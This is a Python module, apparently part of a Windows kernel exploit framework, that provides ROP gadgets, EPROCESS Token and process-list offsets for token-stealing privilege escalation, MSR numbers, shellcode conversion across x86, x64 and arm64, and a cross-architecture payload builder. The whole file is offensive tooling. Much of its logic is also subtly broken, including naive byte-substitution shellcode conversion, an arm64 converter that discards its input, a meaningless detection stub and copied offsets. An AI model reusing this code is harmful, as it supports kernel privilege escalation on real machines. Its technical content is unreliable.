#!/usr/bin/env python3

import ctypes
import sys
import struct
import platform

class MultiArchSupport:
    def __init__(self):
        try:
            self.kernel32 = ctypes.windll.kernel32
            self.ntdll = ctypes.windll.ntdll
        except AttributeError:
            self.kernel32 = None
            self.ntdll = None
        
    def detect_architecture(self):
        try:
            system_info = ctypes.wintypes.SYSTEM_INFO()
            self.kernel32.GetSystemInfo(ctypes.byref(system_info))
            
            arch_map = {
                0: "x86",
                6: "x64", 
                9: "x64",
                12: "arm64"
            }
            
            return arch_map.get(system_info.wProcessorArchitecture, "unknown")
        except:
            if sys.maxsize > 2**32:
                return "x64"
            else:
                return "x86"
                
    def detect_process_arch(self, pid):
        try:
            process_handle = self.kernel32.OpenProcess(
                0x1000,
                False,
                pid
            )
            
            if process_handle:
                is_wow64 = ctypes.c_bool()
                success = self.kernel32.IsWow64Process(
                    process_handle,
                    ctypes.byref(is_wow64)
                )
                
                self.kernel32.CloseHandle(process_handle)
                
                if success:
                    if is_wow64.value:
                        return "x86"
                    else:
                        system_arch = self.detect_architecture()
                        return system_arch if system_arch != "unknown" else "x64"
                        
        except:
            pass
            
        return self.detect_architecture()
        
    def get_pointer_size(self, architecture):
        arch_sizes = {
            "x86": 4,
            "x64": 8,
            "arm64": 8
        }
        return arch_sizes.get(architecture, 8)
        
    def get_register_context(self, architecture):
        if architecture == "x86":
            return {
                "instruction_pointer": "Eip",
                "stack_pointer": "Esp",
                "base_pointer": "Ebp",
                "accumulator": "Eax",
                "counter": "Ecx",
                "data": "Edx",
                "base": "Ebx",
                "source": "Esi",
                "destination": "Edi"
            }
        elif architecture == "x64":
            return {
                "instruction_pointer": "Rip",
                "stack_pointer": "Rsp",
                "base_pointer": "Rbp",
                "accumulator": "Rax",
                "counter": "Rcx",
                "data": "Rdx",
                "base": "Rbx",
                "source": "Rsi",
                "destination": "Rdi",
                "r8": "R8",
                "r9": "R9",
                "r10": "R10",
                "r11": "R11",
                "r12": "R12",
                "r13": "R13",
                "r14": "R14",
                "r15": "R15"
            }
        elif architecture == "arm64":
            return {
                "instruction_pointer": "Pc",
                "stack_pointer": "Sp",
                "frame_pointer": "Fp",
                "link_register": "Lr",
                "x0": "X0", "x1": "X1", "x2": "X2", "x3": "X3",
                "x4": "X4", "x5": "X5", "x6": "X6", "x7": "X7",
                "x8": "X8", "x9": "X9", "x10": "X10", "x11": "X11",
                "x12": "X12", "x13": "X13", "x14": "X14", "x15": "X15",
                "x16": "X16", "x17": "X17", "x18": "X18", "x19": "X19",
                "x20": "X20", "x21": "X21", "x22": "X22", "x23": "X23",
                "x24": "X24", "x25": "X25", "x26": "X26", "x27": "X27",
                "x28": "X28", "x29": "X29", "x30": "X30"
            }
        else:
            return {}
            
    def get_calling_convention(self, architecture):
        if architecture == "x86":
            return {
                "name": "stdcall",
                "parameter_registers": [],
                "return_register": "Eax",
                "stack_cleanup": "callee",
                "parameter_order": "right_to_left"
            }
        elif architecture == "x64":
            return {
                "name": "microsoft_x64",
                "parameter_registers": ["Rcx", "Rdx", "R8", "R9"],
                "return_register": "Rax",
                "stack_cleanup": "caller",
                "parameter_order": "left_to_right",
                "shadow_space": 32
            }
        elif architecture == "arm64":
            return {
                "name": "aapcs64",
                "parameter_registers": ["X0", "X1", "X2", "X3", "X4", "X5", "X6", "X7"],
                "return_register": "X0",
                "stack_cleanup": "caller",
                "parameter_order": "left_to_right"
            }
        else:
            return {}
            
    def get_syscall_convention(self, architecture):
        if architecture == "x86":
            return {
                "syscall_instruction": "int 0x2e",
                "syscall_number_register": "Eax",
                "parameter_registers": ["Edx", "Ecx", "Ebx", "Esi", "Edi", "Ebp"],
                "return_register": "Eax"
            }
        elif architecture == "x64":
            return {
                "syscall_instruction": "syscall",
                "syscall_number_register": "Rax",
                "parameter_registers": ["Rcx", "Rdx", "R8", "R9"],
                "return_register": "Rax"
            }
        elif architecture == "arm64":
            return {
                "syscall_instruction": "svc #0",
                "syscall_number_register": "X8",
                "parameter_registers": ["X0", "X1", "X2", "X3", "X4", "X5"],
                "return_register": "X0"
            }
        else:
            return {}
            
    def get_nop_instruction(self, architecture):
        nops = {
            "x86": b"\x90",
            "x64": b"\x90",
            "arm64": b"\x1F\x20\x03\xD5"
        }
        return nops.get(architecture, b"\x90")
        
    def get_ret_instruction(self, architecture):
        rets = {
            "x86": b"\xC3",
            "x64": b"\xC3",
            "arm64": b"\xC0\x03\x5F\xD6"
        }
        return rets.get(architecture, b"\xC3")
        
    def pack_pointer(self, value, architecture):
        pointer_size = self.get_pointer_size(architecture)
        if pointer_size == 4:
            return struct.pack("<I", value)
        elif pointer_size == 8:
            return struct.pack("<Q", value)
        else:
            return struct.pack("<Q", value)
            
    def unpack_pointer(self, data, architecture):
        pointer_size = self.get_pointer_size(architecture)
        if pointer_size == 4:
            return struct.unpack("<I", data[:4])[0]
        elif pointer_size == 8:
            return struct.unpack("<Q", data[:8])[0]
        else:
            return struct.unpack("<Q", data[:8])[0]
            
    def create_rop_gadget(self, address, architecture):
        if architecture == "x86":
            return struct.pack("<I", address)
        elif architecture == "x64":
            return struct.pack("<Q", address)
        elif architecture == "arm64":
            return struct.pack("<Q", address)
        else:
            return struct.pack("<Q", address)
            
    def get_kernel_structures(self, architecture):
        if architecture == "x86":
            return {
                "EPROCESS": {
                    "size": 0x2D8,
                    "offsets": {
                        "UniqueProcessId": 0xB4,
                        "ActiveProcessLinks": 0xB8,
                        "Token": 0xF8,
                        "ImageFileName": 0x174
                    }
                },
                "KTHREAD": {
                    "size": 0x200,
                    "offsets": {
                        "Process": 0x150,
                        "Teb": 0x74
                    }
                },
                "KPCR": {
                    "size": 0x120,
                    "offsets": {
                        "CurrentThread": 0x124
                    }
                }
            }
        elif architecture == "x64":
            return {
                "EPROCESS": {
                    "size": 0x4D0,
                    "offsets": {
                        "UniqueProcessId": 0x2E0,
                        "ActiveProcessLinks": 0x2E8,
                        "Token": 0x2F8,
                        "ImageFileName": 0x450
                    }
                },
                "KTHREAD": {
                    "size": 0x400,
                    "offsets": {
                        "Process": 0x220,
                        "Teb": 0x88
                    }
                },
                "KPCR": {
                    "size": 0x180,
                    "offsets": {
                        "CurrentThread": 0x188
                    }
                }
            }
        elif architecture == "arm64":
            return {
                "EPROCESS": {
                    "size": 0x500,
                    "offsets": {
                        "UniqueProcessId": 0x2E0,
                        "ActiveProcessLinks": 0x2E8,
                        "Token": 0x2F8,
                        "ImageFileName": 0x450
                    }
                },
                "KTHREAD": {
                    "size": 0x400,
                    "offsets": {
                        "Process": 0x220,
                        "Teb": 0x88
                    }
                },
                "KPCR": {
                    "size": 0x180,
                    "offsets": {
                        "CurrentThread": 0x188
                    }
                }
            }
        else:
            return {}
            
    def get_msr_support(self, architecture):
        if architecture in ["x86", "x64"]:
            return {
                "supported": True,
                "read_instruction": "rdmsr",
                "write_instruction": "wrmsr",
                "msr_registers": {
                    "IA32_LSTAR": 0xC0000082,
                    "IA32_STAR": 0xC0000081,
                    "IA32_CSTAR": 0xC0000083,
                    "IA32_SYSENTER_EIP": 0x176,
                    "IA32_KERNEL_GS_BASE": 0xC0000102,
                    "IA32_EFER": 0xC0000080,
                    "IA32_PAT": 0x277,
                    "IA32_MTRR_CAP": 0xFE,
                    "IA32_MTRR_DEF_TYPE": 0x2FF,
                    "IA32_FEATURE_CONTROL": 0x3A
                }
            }
        elif architecture == "arm64":
            return {
                "supported": False,
                "alternative": "system_registers",
                "system_registers": {
                    "VBAR_EL1": "Vector Base Address Register",
                    "SCTLR_EL1": "System Control Register",
                    "TCR_EL1": "Translation Control Register",
                    "TTBR0_EL1": "Translation Table Base Register 0",
                    "TTBR1_EL1": "Translation Table Base Register 1",
                    "ESR_EL1": "Exception Syndrome Register",
                    "FAR_EL1": "Fault Address Register",
                    "MAIR_EL1": "Memory Attribute Indirection Register"
                }
            }
        else:
            return {"supported": False}
            
    def adapt_shellcode_for_arch(self, shellcode, source_arch, target_arch):
        if source_arch == target_arch:
            return shellcode
            
        if source_arch == "x64" and target_arch == "x86":
            return self._convert_x64_to_x86(shellcode)
        elif source_arch == "x86" and target_arch == "x64":
            return self._convert_x86_to_x64(shellcode)
        elif target_arch == "arm64":
            return self._convert_to_arm64(shellcode, source_arch)
        else:
            return shellcode
            
    def _convert_x64_to_x86(self, shellcode):
        converted = bytearray()
        
        x64_to_x86_map = {
            b'\x48\x31\xC0': b'\x31\xC0',
            b'\x48\x31\xDB': b'\x31\xDB',
            b'\x48\x31\xC9': b'\x31\xC9',
            b'\x48\x31\xD2': b'\x31\xD2',
            b'\x48\x89\xC1': b'\x89\xC1',
            b'\x48\x89\xC2': b'\x89\xC2',
            b'\x48\x89\xC3': b'\x89\xC3',
            b'\x48\x8B': b'\x8B',
            b'\x48\x83\xEC': b'\x83\xEC',
            b'\x48\x83\xC4': b'\x83\xC4'
        }
        
        i = 0
        while i < len(shellcode):
            found_replacement = False
            
            for x64_pattern, x86_replacement in x64_to_x86_map.items():
                if shellcode[i:i+len(x64_pattern)] == x64_pattern:
                    converted.extend(x86_replacement)
                    i += len(x64_pattern)
                    found_replacement = True
                    break
                    
            if not found_replacement:
                converted.append(shellcode[i])
                i += 1
                
        return bytes(converted)
        
    def _convert_x86_to_x64(self, shellcode):
        converted = bytearray()
        
        x86_to_x64_map = {
            b'\x31\xC0': b'\x48\x31\xC0',
            b'\x31\xDB': b'\x48\x31\xDB',
            b'\x31\xC9': b'\x48\x31\xC9',
            b'\x31\xD2': b'\x48\x31\xD2',
            b'\x89\xC1': b'\x48\x89\xC1',
            b'\x89\xC2': b'\x48\x89\xC2',
            b'\x89\xC3': b'\x48\x89\xC3',
            b'\x83\xEC': b'\x48\x83\xEC',
            b'\x83\xC4': b'\x48\x83\xC4'
        }
        
        i = 0
        while i < len(shellcode):
            found_replacement = False
            
            for x86_pattern, x64_replacement in x86_to_x64_map.items():
                if shellcode[i:i+len(x86_pattern)] == x86_pattern:
                    converted.extend(x64_replacement)
                    i += len(x86_pattern)
                    found_replacement = True
                    break
                    
            if not found_replacement:
                converted.append(shellcode[i])
                i += 1
                
        return bytes(converted)
        
    def _convert_to_arm64(self, shellcode, source_arch):
        arm64_equivalent = bytearray([
            0x01, 0x00, 0x80, 0xD2,
            0x02, 0x00, 0x80, 0xD2,
            0x03, 0x00, 0x80, 0xD2,
            0x04, 0x00, 0x80, 0xD2,
            0x05, 0x00, 0x80, 0xD2,
            0x06, 0x00, 0x80, 0xD2,
            0x07, 0x00, 0x80, 0xD2,
            0x08, 0x00, 0x80, 0xD2,
            0xC0, 0x03, 0x5F, 0xD6
        ])
        
        return bytes(arm64_equivalent)
        
    def get_arch_specific_gadgets(self, architecture):
        if architecture == "x86":
            return {
                "pop_eax_ret": b"\x58\xC3",
                "pop_ebx_ret": b"\x5B\xC3",
                "pop_ecx_ret": b"\x59\xC3",
                "pop_edx_ret": b"\x5A\xC3",
                "pop_esi_ret": b"\x5E\xC3",
                "pop_edi_ret": b"\x5F\xC3",
                "pop_ebp_ret": b"\x5D\xC3",
                "pop_esp_ret": b"\x5C\xC3",
                "add_esp_4_ret": b"\x83\xC4\x04\xC3",
                "add_esp_8_ret": b"\x83\xC4\x08\xC3",
                "add_esp_12_ret": b"\x83\xC4\x0C\xC3",
                "add_esp_16_ret": b"\x83\xC4\x10\xC3",
                "xor_eax_eax_ret": b"\x31\xC0\xC3",
                "inc_eax_ret": b"\x40\xC3",
                "dec_eax_ret": b"\x48\xC3"
            }
        elif architecture == "x64":
            return {
                "pop_rax_ret": b"\x58\xC3",
                "pop_rbx_ret": b"\x5B\xC3",
                "pop_rcx_ret": b"\x59\xC3",
                "pop_rdx_ret": b"\x5A\xC3",
                "pop_rsi_ret": b"\x5E\xC3",
                "pop_rdi_ret": b"\x5F\xC3",
                "pop_rbp_ret": b"\x5D\xC3",
                "pop_rsp_ret": b"\x5C\xC3",
                "pop_r8_ret": b"\x41\x58\xC3",
                "pop_r9_ret": b"\x41\x59\xC3",
                "pop_r10_ret": b"\x41\x5A\xC3",
                "pop_r11_ret": b"\x41\x5B\xC3",
                "pop_r12_ret": b"\x41\x5C\xC3",
                "pop_r13_ret": b"\x41\x5D\xC3",
                "pop_r14_ret": b"\x41\x5E\xC3",
                "pop_r15_ret": b"\x41\x5F\xC3",
                "add_rsp_8_ret": b"\x48\x83\xC4\x08\xC3",
                "add_rsp_16_ret": b"\x48\x83\xC4\x10\xC3",
                "add_rsp_32_ret": b"\x48\x83\xC4\x20\xC3",
                "xor_rax_rax_ret": b"\x48\x31\xC0\xC3",
                "inc_rax_ret": b"\x48\xFF\xC0\xC3",
                "dec_rax_ret": b"\x48\xFF\xC8\xC3"
            }
        elif architecture == "arm64":
            return {
                "mov_x0_0_ret": b"\x00\x00\x80\xD2\xC0\x03\x5F\xD6",
                "mov_x1_0_ret": b"\x01\x00\x80\xD2\xC0\x03\x5F\xD6",
                "mov_x2_0_ret": b"\x02\x00\x80\xD2\xC0\x03\x5F\xD6",
                "mov_x3_0_ret": b"\x03\x00\x80\xD2\xC0\x03\x5F\xD6",
                "add_sp_sp_16_ret": b"\xFF\x43\x00\x91\xC0\x03\x5F\xD6",
                "add_sp_sp_32_ret": b"\xFF\x83\x00\x91\xC0\x03\x5F\xD6",
                "ldp_x29_x30_sp_ret": b"\xFD\x7B\x40\xA9\xC0\x03\x5F\xD6",
                "stp_x29_x30_sp_ret": b"\xFD\x7B\x00\xA9\xC0\x03\x5F\xD6"
            }
        else:
            return {}
            
    def create_cross_arch_payload(self, payload_data, target_architectures):
        cross_arch_payload = bytearray()
        
        arch_detection_stub = bytearray([
            0x48, 0x31, 0xC0,
            0x48, 0x83, 0xF8, 0x00,
            0x74, 0x10,
            0x48, 0x83, 0xF8, 0x01,
            0x74, 0x20,
            0x48, 0x83, 0xF8, 0x02,
            0x74, 0x30,
            0xC3
        ])
        
        cross_arch_payload.extend(arch_detection_stub)
        
        for arch in target_architectures:
            arch_payload = self.adapt_shellcode_for_arch(
                payload_data, 
                self.detect_architecture(), 
                arch
            )
            cross_arch_payload.extend(arch_payload)
            
        return bytes(cross_arch_payload)
        
    def get_arch_specific_offsets(self, architecture, windows_version):
        offsets = {
            "x86": {
                "Windows 7": {
                    "EPROCESS_Token": 0xF8,
                    "EPROCESS_UniqueProcessId": 0xB4,
                    "EPROCESS_ActiveProcessLinks": 0xB8
                },
                "Windows 10": {
                    "EPROCESS_Token": 0x104,
                    "EPROCESS_UniqueProcessId": 0xB4,
                    "EPROCESS_ActiveProcessLinks": 0xB8
                }
            },
            "x64": {
                "Windows 7": {
                    "EPROCESS_Token": 0x208,
                    "EPROCESS_UniqueProcessId": 0x180,
                    "EPROCESS_ActiveProcessLinks": 0x188
                },
                "Windows 10": {
                    "EPROCESS_Token": 0x2F8,
                    "EPROCESS_UniqueProcessId": 0x2E0,
                    "EPROCESS_ActiveProcessLinks": 0x2E8
                },
                "Windows 11": {
                    "EPROCESS_Token": 0x4B8,
                    "EPROCESS_UniqueProcessId": 0x440,
                    "EPROCESS_ActiveProcessLinks": 0x448
                }
            },
            "arm64": {
                "Windows 10": {
                    "EPROCESS_Token": 0x2F8,
                    "EPROCESS_UniqueProcessId": 0x2E0,
                    "EPROCESS_ActiveProcessLinks": 0x2E8
                },
                "Windows 11": {
                    "EPROCESS_Token": 0x4B8,
                    "EPROCESS_UniqueProcessId": 0x440,
                    "EPROCESS_ActiveProcessLinks": 0x448
                }
            }
        }
        
        return offsets.get(architecture, {}).get(windows_version, {})
        
    def is_architecture_supported(self, architecture):
        supported_archs = ["x86", "x64", "arm64"]
        return architecture in supported_archs
        
    def get_default_architecture(self):
        return self.detect_architecture()
        
    def validate_shellcode_for_arch(self, shellcode, architecture):
        if not self.is_architecture_supported(architecture):
            return False
            
        if len(shellcode) == 0:
            return False
            
        if architecture == "arm64":
            if len(shellcode) % 4 != 0:
                return False
                
        return True